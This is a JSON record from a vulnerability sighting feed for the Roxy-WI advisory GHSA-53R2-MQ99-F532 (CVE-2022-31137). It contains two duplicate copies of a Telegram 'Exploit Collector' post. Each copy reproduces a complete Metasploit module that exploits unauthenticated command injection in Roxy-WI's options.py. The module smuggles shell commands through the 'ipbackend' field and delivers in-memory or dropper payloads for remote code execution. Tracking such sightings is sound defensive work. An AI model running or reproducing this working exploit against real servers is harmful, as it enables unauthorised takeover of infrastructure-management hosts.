{"vulnerability": "GHSA-53R2-MQ99-F532", "sightings": [{"uuid": "76a069bd-9828-46d3-9c7b-ec30dc073e9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-53R2-MQ99-F532", "type": "seen", "source": "https://t.me/hacking_Attack/63081", "content": "Exploit Collector\nRoxy-WI Remote Command Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n\nSHA-256 | 96d069f907bcd7cf304913bbed0abdeaec0d86467550d0c7535f3ee8826057d3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',\n'Description' => %q{\nThis module exploits an unauthenticated command injection vulnerability in Roxy-WI\nprior to version 6.1.1.0. Successful exploitation results in remote code execution\nunder the context of the web server user.\n\nRoxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Nuri \u00c7ilengir  [\n['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory\n['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information\n['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch\n['CVE', '2022-31137']\n],\n'DefaultOptions' => {\n'SSL' => true,\n'WfsDelay' => 25\n},\n'Platform' => %w[unix linux],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Targets' => [\n[\n'Unix (In-Memory)',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :in_memory\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :dropper\n}\n]\n],\n'CmdStagerFlavor' => ['printf'],\n'DefaultTarget' => 0,\n'Privileged' => false,\n'DisclosureDate' => '2022-07-06',\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS]\n}\n)\n)\nregister_options(\n[\nOpt::RPORT(443),\nOptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n]\n)\nend\n\ndef execute_command(cmd, _opts = {})\nreturn send_request_cgi(\n{\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),\n'vars_post' => {\n'serv' => '127.0.0.1',\n'ipbackend' => \"\\\"; #{cmd} ;#\",\n'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),\n'backend_server' => '127.0.0.1'\n}\n}, 10\n)\nrescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT\nreturn nil\nend\n\ndef check\nprint_status(\"Checking if #{peer} is vulnerable!\")\n\nres = execute_command('id')\n\nreturn CheckCode::Unknown(\"Didn't receive a response from #{peer}\") unless res\n\nif res.code == 200 && res.body =~ /uid=\\d+\\(.+\\)/\nprint_status(\"#{peer} is vulnerable!\")\nreturn CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')\nelsif res.code == 200\nreturn CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')\nelse\nreturn CheckCode::Safe(\"The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.\")\nend\nend\n\ndef exploit\nprint_status('Exploiting...')\ncase target['Type']\nwhen :in_memory\nexecute_command(payload.encoded)\nwhen :dropper\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:33.207637Z"}, {"uuid": "3caf4de0-645e-4cb9-96aa-facb1604e9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "GHSA-53R2-MQ99-F532", "type": "seen", "source": "https://t.me/hacking_Attack/63081", "content": "Exploit Collector\nRoxy-WI Remote Command Execution\n\nhttps://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png This Metasploit module exploits an unauthenticated command injection vulnerability in Roxy-WI versions prior to 6.1.1.0. Successful exploitation results in remote code execution under the context of the web server user. Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n\nSHA-256 | 96d069f907bcd7cf304913bbed0abdeaec0d86467550d0c7535f3ee8826057d3Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE',\n'Description' => %q{\nThis module exploits an unauthenticated command injection vulnerability in Roxy-WI\nprior to version 6.1.1.0. Successful exploitation results in remote code execution\nunder the context of the web server user.\n\nRoxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Nuri \u00c7ilengir  [\n['URL', 'https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/'], # Advisory\n['URL', 'https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532'], # Additional Information\n['URL', 'https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755'], # Patch\n['CVE', '2022-31137']\n],\n'DefaultOptions' => {\n'SSL' => true,\n'WfsDelay' => 25\n},\n'Platform' => %w[unix linux],\n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n'Targets' => [\n[\n'Unix (In-Memory)',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :in_memory\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X86, ARCH_X64],\n'Type' => :dropper\n}\n]\n],\n'CmdStagerFlavor' => ['printf'],\n'DefaultTarget' => 0,\n'Privileged' => false,\n'DisclosureDate' => '2022-07-06',\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS]\n}\n)\n)\nregister_options(\n[\nOpt::RPORT(443),\nOptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])\n]\n)\nend\n\ndef execute_command(cmd, _opts = {})\nreturn send_request_cgi(\n{\n'method' => 'POST',\n'uri' => normalize_uri(target_uri.path, 'app', 'options.py'),\n'vars_post' => {\n'serv' => '127.0.0.1',\n'ipbackend' => \"\\\"; #{cmd} ;#\",\n'alert_consumer' => Rex::Text.rand_text_alpha_lower(7),\n'backend_server' => '127.0.0.1'\n}\n}, 10\n)\nrescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Errno::ETIMEDOUT\nreturn nil\nend\n\ndef check\nprint_status(\"Checking if #{peer} is vulnerable!\")\n\nres = execute_command('id')\n\nreturn CheckCode::Unknown(\"Didn't receive a response from #{peer}\") unless res\n\nif res.code == 200 && res.body =~ /uid=\\d+\\(.+\\)/\nprint_status(\"#{peer} is vulnerable!\")\nreturn CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')\nelsif res.code == 200\nreturn CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')\nelse\nreturn CheckCode::Safe(\"The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.\")\nend\nend\n\ndef exploit\nprint_status('Exploiting...')\ncase target['Type']\nwhen :in_memory\nexecute_command(payload.encoded)\nwhen :dropper\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:43.524196Z"}]}